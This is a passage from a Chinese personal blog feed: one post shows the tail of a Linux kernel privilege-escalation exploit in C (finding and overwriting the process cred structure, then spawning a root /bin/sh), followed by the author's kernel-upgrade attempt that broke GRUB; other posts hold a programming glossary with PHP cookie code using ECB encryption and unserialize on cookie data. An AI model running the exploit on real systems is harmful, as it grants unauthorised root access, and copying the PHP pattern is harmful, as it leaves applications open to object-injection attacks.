</span></span><br><span class="line"><span class="comment"> *  &#125;;</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">100</span>; i++, sock_addr += <span class="number">8</span>) &#123;</span><br><span class="line"><span class="keyword">if</span>(read64(sock_addr) == <span class="number">0x7FFFFFFFFFFFFFFF</span>) &#123;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> cred_struct = read64(sock_addr - <span class="number">8</span>);</span><br><span class="line"><span class="keyword">if</span>(cred_struct &lt; PHYS_OFFSET) &#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> test_uid = (read64(cred_struct + <span class="number">8</span>) &amp; <span class="number">0xFFFFFFFF</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(test_uid != uid) &#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line">                        msg(<span class="string">&quot;Sock-&gt;sk_rcvtimeo at offset %d\n&quot;</span>, i * <span class="number">8</span>);</span><br><span class="line">                        msg(<span class="string">&quot;Cred structure at %llx\n&quot;</span>, cred_struct);</span><br><span class="line">msg(<span class="string">&quot;UID from cred structure: %d, matches the current: %d\n&quot;</span>, test_uid, uid);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> cred_struct;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">fail(<span class="string">&quot;failed to find sk_rcvtimeo.\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span></span><br><span class="line"><span class="title function_">hammer_cred</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span> addr)</span> &#123;</span><br><span class="line">msg(<span class="string">&quot;hammering cred structure at %llx\n&quot;</span>, addr);</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> w64(w) &#123; write64(addr, (w)); addr += 8; &#125;</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> val = read64(addr) &amp; <span class="number">0xFFFFFFFF</span>UL;</span><br><span class="line">w64(val); </span><br><span class="line">w64(<span class="number">0</span>); w64(<span class="number">0</span>); w64(<span class="number">0</span>); w64(<span class="number">0</span>);</span><br><span class="line">w64(<span class="number">0xFFFFFFFFFFFFFFFF</span>); </span><br><span class="line">w64(<span class="number">0xFFFFFFFFFFFFFFFF</span>); </span><br><span class="line">w64(<span class="number">0xFFFFFFFFFFFFFFFF</span>); </span><br><span class="line"><span class="meta">#<span class="keyword">undef</span> w64</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span></span><br><span class="line"><span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line">initialize();</span><br><span class="line">hammer_cred(find_cred());</span><br><span class="line">msg(<span class="string">&quot;credentials patched, launching shell...\n&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(execl(<span class="string">&quot;/bin/sh&quot;</span>, <span class="string">&quot;/bin/sh&quot;</span>, <span class="literal">NULL</span>)) &#123;</span><br><span class="line">fail(<span class="string">&quot;exec %s\n&quot;</span>, strerror(errno));</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>权限提升方法(<em><strong>部分</strong></em>),详细方法,<a href="https://www.exploit-db.com/exploits/45010">在这里</a><br>可见,<em><strong>Linux</strong></em> 内核低于<em><strong>4.10</strong></em> 我想应该都有此漏洞,于是去查看 我的阿里云服务器内核版本</p><blockquote><p>Linux iZuf68v6tepfikkhntiacqZ <em><strong>3.10.0-1160.80.1.el7.x86_64</strong></em> #1 SMP PREEMPT_DYNAMIC Fri Nov 25 12:10:41 EST 2022 x86_64 x86_64 x86_64 GNU&#x2F;Linux</p></blockquote><p>云服务器内核为<em><strong>3.10.10.el7</strong></em> </p><h3 id="升级过程"><a href="#升级过程" class="headerlink" title="升级过程"></a>升级过程</h3><p>此过程参考google检索文档</p><ol><li><p>更新仓库<em><strong>yum</strong></em> </p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum -y update</span><br></pre></td></tr></table></figure><p><code>-y</code> 选项可以在每次需要确认时，自动使用 yes</p></li><li><p>启用 ELRepo 仓库</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org</span><br><span class="line"></span><br><span class="line">rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm</span><br></pre></td></tr></table></figure><p>若 <em><strong>rpm</strong></em> 命令未找到,则 <em><strong>yum -y install rpm</strong></em> </p></li><li><p>查看可用内核包</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum --disablerepo=&quot;*&quot; --enablerepo=&quot;elrepo-kernel&quot; list available</span><br></pre></td></tr></table></figure><p>展示如下(<em><strong>部分</strong></em>)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Loaded plugins: fastestmirror</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * elrepo-kernel: mirrors.tuna.tsinghua.edu.cn</span><br><span class="line">Available Packages</span><br><span class="line">elrepo-release.noarch                       7.0-6.el7.elrepo       elrepo-kernel</span><br><span class="line">kernel-lt.x86_64                            5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-lt-devel.x86_64                      5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-lt-doc.noarch                        5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-lt-tools.x86_64                      5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-lt-tools-libs.x86_64                 5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-lt-tools-libs-devel.x86_64           5.4.225-1.el7.elrepo   elrepo-kernel</span><br><span class="line">kernel-ml-devel.x86_64                      6.0.10-1.el7.elrepo    elrepo-kernel</span><br><span class="line">kernel-ml-doc.noarch                        6.0.10-1.el7.elrepo    elrepo-kernel</span><br><span class="line">kernel-ml-headers.x86_64                    6.0.10-1.el7.elrepo    elrepo-kernel</span><br><span class="line">kernel-ml-tools.x86_64                      6.0.10-1.el7.elrepo    elrepo-kernel</span><br></pre></td></tr></table></figure></li><li><p>安装内核<br>安装最新稳定版本内核</p></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum --enablerepo=elrepo-kernel install kernel-ml</span><br></pre></td></tr></table></figure><blockquote><p>主线稳定内核（mainline stable）<em><strong>ml</strong></em><br>长期支持内核（long term support）<em><strong>lt</strong></em> </p></blockquote><p>安装指定版本内核 将 <em><strong>kernel-ml</strong></em> 替换 如 <em><strong>kernel-lt.x86_64</strong></em> </p><ol start="5"><li>设置自启</li></ol><p>查看系统可用内核</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo awk -F\&#x27; &#x27;$1==&quot;menuentry &quot; &#123;print i++ &quot; : &quot; $2&#125;&#x27; /etc/grub2.cfg</span><br></pre></td></tr></table></figure><p>执行如下</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">sudo awk -F\&#x27; <span class="string">&#x27;$1==&quot;menuentry &quot; &#123;print i++ &quot; : &quot; $2&#125;&#x27;</span> /etc/grub2.cfg</span></span><br><span class="line">0 : CentOS Linux (6.0.10-1.el7.elrepo.x86_64) 7 (Core)</span><br><span class="line">1 : CentOS Linux (3.10.0-1160.80.1.el7.x86_64) 7 (Core)</span><br><span class="line">2 : CentOS Linux (3.10.0-1062.18.1.el7.x86_64) 7 (Core)</span><br><span class="line">3 : CentOS Linux (3.10.0-1062.el7.x86_64) 7 (Core)</span><br><span class="line">4 : CentOS Linux (0-rescue-20200426154603174201708213343640) 7 (Core)</span><br></pre></td></tr></table></figure><p>设置grub2</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo grub2-set-default 0</span><br></pre></td></tr></table></figure><p><em><strong>0</strong></em> 代表 <em><strong>0 : CentOS Linux (6.0.10-1.el7.elrepo.x86_64) 7 (Core)</strong></em>  启动此项内核 </p><p>编辑grub配置文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/default/grub</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">GRUB_TIMEOUT=1</span><br><span class="line">GRUB_DISTRIBUTOR=&quot;$(sed &#x27;s, release .*$,,g&#x27; /etc/system-release)&quot;</span><br><span class="line">GRUB_DEFAULT=0</span><br><span class="line">GRUB_DISABLE_SUBMENU=true</span><br><span class="line">GRUB_TERMINAL_OUTPUT=&quot;console&quot;</span><br><span class="line">GRUB_CMDLINE_LINUX=&quot;crashkernel=auto spectre_v2=retpoline rhgb quiet net.ifnames=0 console=tty0 console=ttyS0,115200n8 noibrs nvme_core.io_timeout=4294967295 nvme_core.admin_timeout=4294967295&quot;</span><br><span class="line">GRUB_DISABLE_RECOVERY=&quot;true&quot;</span><br></pre></td></tr></table></figure><p>修改   <em><strong>GRUB_DEFAULT&#x3D;0</strong></em>    保存并退出</p><p>创建grub配置文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo grub2-mkconfig -o /boot/grub2/grub.cfg</span><br></pre></td></tr></table></figure><p>Linux终端无提示,则成功</p><p>重启</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo reboot</span><br></pre></td></tr></table></figure><p>而我重启却,无法启动……</p><h3 id="事故分析"><a href="#事故分析" class="headerlink" title="事故分析"></a>事故分析</h3><p>创建grub配置失败,导致grub引导启动程序执行时出错,无法开机进入系统</p><p>那么<em><strong>Linux</strong></em> 启动过程是怎样的呢?<br>![[Pasted image 20221129140610.png]]</p><p>由于更改了默认内核启动版本,而为生成相应配置文件 </p><p>在上图 <em><strong>GRUP启动引导阶段</strong></em>  的  <em><strong>Stage2阶段</strong></em>  时,grub找不到相关命令,无法建立虚拟文件系统,无法调用内核</p><h3 id="尝试救援"><a href="#尝试救援" class="headerlink" title="尝试救援"></a>尝试救援</h3><p>大量google检索 <em><strong>grub</strong></em> <em><strong>救援模式</strong></em> 之后,失败告终<br>意味着 阿里云服务器<em><strong>Centos 7</strong></em> 无法开机进入系统</p><ol><li><p>解决方法一[x]<br>![[Pasted image 20221129143900.png]]<br>google翻译一下<br>![[Pasted image 20221129143937.png]]<br>由于只能远程连接,并不能使用 <em><strong>USB</strong></em> 安装GRUB引导加载程序</p></li><li><p>解决方法二[x]<br><em><strong>grub</strong></em> 命令行修复<br>![[Pasted image 20221129153219.png]]<br>详细命令见,<br><a href="https://www.gnu.org/software/grub/manual/grub/html_node/Command_002dline-and-menu-entry-commands.html#Command_002dline-and-menu-entry-commands">官网</a></p></li><li><p>解决方法三[√]<br>阿里云服务器快照[x]<br>重装系统,解决99%问题<br>于是有了<a href="https://halo.htwyy.cn/">halo</a> 博客</p></li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Study" scheme="https://wyy.hair/tags/Study/"/>
    
  </entry>
  
  <entry>
    <title>自学文档</title>
    <link href="https://wyy.hair/posts/b07ae95/"/>
    <id>https://wyy.hair/posts/b07ae95/</id>
    <published>2022-04-05T11:52:51.000Z</published>
    <updated>2025-12-30T04:54:17.897Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="手册EngLish"><a href="#手册EngLish" class="headerlink" title="手册EngLish"></a>手册EngLish</h1><h2 id="Https-Http"><a href="#Https-Http" class="headerlink" title="Https&#x2F;Http"></a>Https&#x2F;Http</h2><blockquote><p>Content Delivery Network 内容分发网络(<strong>CDN</strong>)Request 请求Response 回应</p><p>Proxy 代理Uniform 均Resouce 资源Locator 定位器  <strong>URL</strong>  (描述网络一个资源位置)</p><p>GETPOSTPUTDELETE查改(更新)增删</p></blockquote><h2 id="Php"><a href="#Php" class="headerlink" title="Php"></a>Php</h2><blockquote><p>parameter 参数object 对象notation 符号 match 匹配decrypt 解密query 询问</p><p>Cookie：</p><p>​name（ Cookie名）可以通过$_COOKIE[‘name’] 进行访问<br>​value（Cookie的值）<br>​expire（过期时间）Unix时间戳格式，默认为0，表示浏览器关闭即失效<br>​path（有效路径）如果路径设置为’&#x2F;‘，则整个网站都有效<br>​domain（有效域）默认整个域名都有效，如果设置了’<a href="http://www.imooc.com',则只在www子域中有效/">www.imooc.com&#39;,则只在www子域中有效</a></p><h3 id="Session"><a href="#Session" class="headerlink" title="Session:"></a>Session:</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="comment">//假设用户登录成功获得了以下用户数据</span></span><br><span class="line"><span class="variable">$userinfo</span> = <span class="keyword">array</span>(</span><br><span class="line"> <span class="string">&#x27;uid&#x27;</span>  =&gt; <span class="number">10000</span>,</span><br><span class="line"> <span class="string">&#x27;name&#x27;</span> =&gt; <span class="string">&#x27;spark&#x27;</span>,</span><br><span class="line"> <span class="string">&#x27;email&#x27;</span> =&gt; <span class="string">&#x27;spark@imooc.com&#x27;</span>,</span><br><span class="line"> <span class="string">&#x27;sex&#x27;</span>  =&gt; <span class="string">&#x27;man&#x27;</span>,</span><br><span class="line"> <span class="string">&#x27;age&#x27;</span>  =&gt; <span class="string">&#x27;18&#x27;</span></span><br><span class="line">);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;content-type:text/html; charset=utf-8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将用户信息保存到session中 */</span></span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;uid&#x27;</span>] = <span class="variable">$userinfo</span>[<span class="string">&#x27;uid&#x27;</span>];</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;name&#x27;</span>] = <span class="variable">$userinfo</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;userinfo&#x27;</span>] = <span class="variable">$userinfo</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//* 将用户数据保存到cookie中的一个简单方法 */</span></span><br><span class="line"><span class="variable">$secureKey</span> = <span class="string">&#x27;imooc&#x27;</span>; <span class="comment">//加密密钥</span></span><br><span class="line"><span class="variable">$str</span> = <span class="title function_ invoke__">serialize</span>(<span class="variable">$userinfo</span>); <span class="comment">//将用户信息序列化</span></span><br><span class="line"><span class="comment">//用户信息加密前</span></span><br><span class="line"><span class="variable">$str</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="title function_ invoke__">mcrypt_encrypt</span>(MCRYPT_RIJNDAEL_256, <span class="title function_ invoke__">md5</span>(<span class="variable">$secureKey</span>), <span class="variable">$str</span>, MCRYPT_MODE_ECB));</span><br><span class="line"><span class="comment">//用户信息加密后</span></span><br><span class="line"><span class="comment">//将加密后的用户数据存储到cookie中</span></span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">&#x27;userinfo&#x27;</span>, <span class="variable">$str</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//当需要使用时进行解密</span></span><br><span class="line"><span class="variable">$str</span> = <span class="title function_ invoke__">mcrypt_decrypt</span>(MCRYPT_RIJNDAEL_256, <span class="title function_ invoke__">md5</span>(<span class="variable">$secureKey</span>), <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$str</span>), MCRYPT_MODE_ECB);</span><br><span class="line"><span class="variable">$uinfo</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$str</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;解密后的用户信息：&lt;br&gt;&quot;</span>;</span><br><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="variable">$uinfo</span>);</span><br></pre></td></tr></table></figure></blockquote><h3 id="php正则："><a href="#php正则：" class="headerlink" title="php正则："></a>php正则：</h3><blockquote><p>正则表达式中具有特殊含义的字符称之为元字符，常用的元字符有：</p><p>\ 一般用于转义字符<br>^ 断言目标的开始位置(或在多行模式下是行首)</p><p>$ 断言目标的结束位置(或在多行模式下是行尾)<br>. 匹配除换行符外的任何字符(默认)<br>[ 开始字符类定义<br>] 结束字符类定义<br>| 开始一个可选分支<br>( 子组的开始标记<br>) 子组的结束标记<br>? 作为量词，表示 0 次或 1 次匹配。位于量词后面用于改变量词的贪婪特性。 (查阅量词)<br>* 量词，0 次或多次匹配<br>+ 量词，1 次或多次匹配<br>{ 自定义量词开始标记</p><p>在方括号内使用：</p><p>\ 转义字符<br>^ 仅在作为第一个字符(方括号内)时，表明字符类取反<br>- 标记字符范围</p><p>&#x2F;w与 A-Z、a-z、0-9 和下划线中的任意任意字符匹配，等效于[A-Za-z0-9]</p><p>&#x2F;W与除 A-Z、a-z、0-9 和下划线以外的任意字符匹配，等效于[^A-Za-z0-9]</p><p>&#x2F;b 与一个字边界匹配。即字与空格间的位置</p><p>&#x2F;B非边界字匹配</p><p>&#x2F;d数字字符匹配，等效于[0-9]</p><p>&#x2F;D非数字字符匹配，等效于[^0-9]</p><p>正则匹配常用案例：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&gt;<span class="meta">&lt;?php</span></span><br><span class="line">&gt;<span class="variable">$user</span> = <span class="keyword">array</span>(</span><br><span class="line">&gt;<span class="string">&#x27;name&#x27;</span> =&gt; <span class="string">&#x27;spark1985&#x27;</span>,</span><br><span class="line">&gt;<span class="string">&#x27;email&#x27;</span> =&gt; <span class="string">&#x27;spark@imooc.com&#x27;</span>,</span><br><span class="line">&gt;<span class="string">&#x27;mobile&#x27;</span> =&gt; <span class="string">&#x27;13312345678&#x27;</span></span><br><span class="line">&gt;);</span><br><span class="line">&gt;<span class="comment">//进行一般性验证</span></span><br><span class="line">&gt;<span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$user</span>)) &#123;</span><br><span class="line">&gt;<span class="keyword">die</span>(<span class="string">&#x27;用户信息不能为空&#x27;</span>);</span><br><span class="line">&gt;&#125;</span><br><span class="line">&gt;<span class="keyword">if</span> (<span class="title function_ invoke__">strlen</span>(<span class="variable">$user</span>[<span class="string">&#x27;name&#x27;</span>]) &lt; <span class="number">6</span>) &#123;</span><br><span class="line">&gt;<span class="keyword">die</span>(<span class="string">&#x27;用户名长度最少为6位&#x27;</span>);</span><br><span class="line">&gt;&#125;</span><br><span class="line">&gt;<span class="comment">//用户名必须为字母、数字与下划线</span></span><br><span class="line">&gt;<span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^\w+$/i&#x27;</span>, <span class="variable">$user</span>[<span class="string">&#x27;name&#x27;</span>])) &#123;</span><br><span class="line">&gt;<span class="keyword">die</span>(<span class="string">&#x27;用户名不合法&#x27;</span>);</span><br><span class="line">&gt;&#125;</span><br><span class="line">&gt;<span class="comment">//验证邮箱格式是否正确</span></span><br><span class="line">&gt;<span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^[\w\.]+@\w+\.\w+$/i&#x27;</span>, <span class="variable">$user</span>[<span class="string">&#x27;email&#x27;</span>])) &#123;</span><br><span class="line">&gt;<span class="keyword">die</span>(<span class="string">&#x27;邮箱不合法&#x27;</span>);</span><br><span class="line">&gt;&#125;</span><br><span class="line">&gt;<span class="comment">//手机号必须为11位数字，且为1开头</span></span><br><span class="line">&gt;<span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/^1\d&#123;10&#125;$/i&#x27;</span>, <span class="variable">$user</span>[<span class="string">&#x27;mobile&#x27;</span>])) &#123;</span><br><span class="line">&gt;<span class="keyword">die</span>(<span class="string">&#x27;手机号不合法&#x27;</span>);</span><br><span class="line">&gt;&#125;</span><br><span class="line">&gt;<span class="keyword">echo</span> <span class="string">&#x27;用户信息验证成功&#x27;</span>;</span><br></pre></td></tr></table></figure></blockquote><h2 id="C-C"><a href="#C-C" class="headerlink" title="C&#x2F;C++"></a>C&#x2F;C++</h2><blockquote><p>register  注册 寄存器   union 联盟  extern 外部的 volatile 易变的 signed 签 </p><p>struct 结构 defualt 默认address 指针(地址) member 成员 difinition 定义 </p><p>format 格式validate 证实preprocessor 预处理器(<strong>CPP</strong>)recursion 递归</p><p>asm 汇编enum 枚举opeator 操作员throw 仍explicit明确的private 私有的</p><p>export 出口 extern 外部的reinterpret 重新诠释virtual 虚拟的inline 排队</p><p>mutable 可变的danamic动态的tamplate模板</p></blockquote><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><blockquote></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="Study" scheme="https://wyy.hair/tags/Study/"/>
    
  </entry>
  
  <entry>
    <title>迷雾</title>
    <link href="https://wyy.hair/posts/41b8f7df/"/>
    <id>https://wyy.hair/posts/41b8f7df/</id>
    <published>2022-04-05T10:59:05.000Z</published>
    <updated>2025-12-30T04:54:17.904Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote><p><strong>高尚是高尚者的墓志铭。卑鄙是卑鄙者的通行证。</strong></p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
  </entry>
  
</feed>
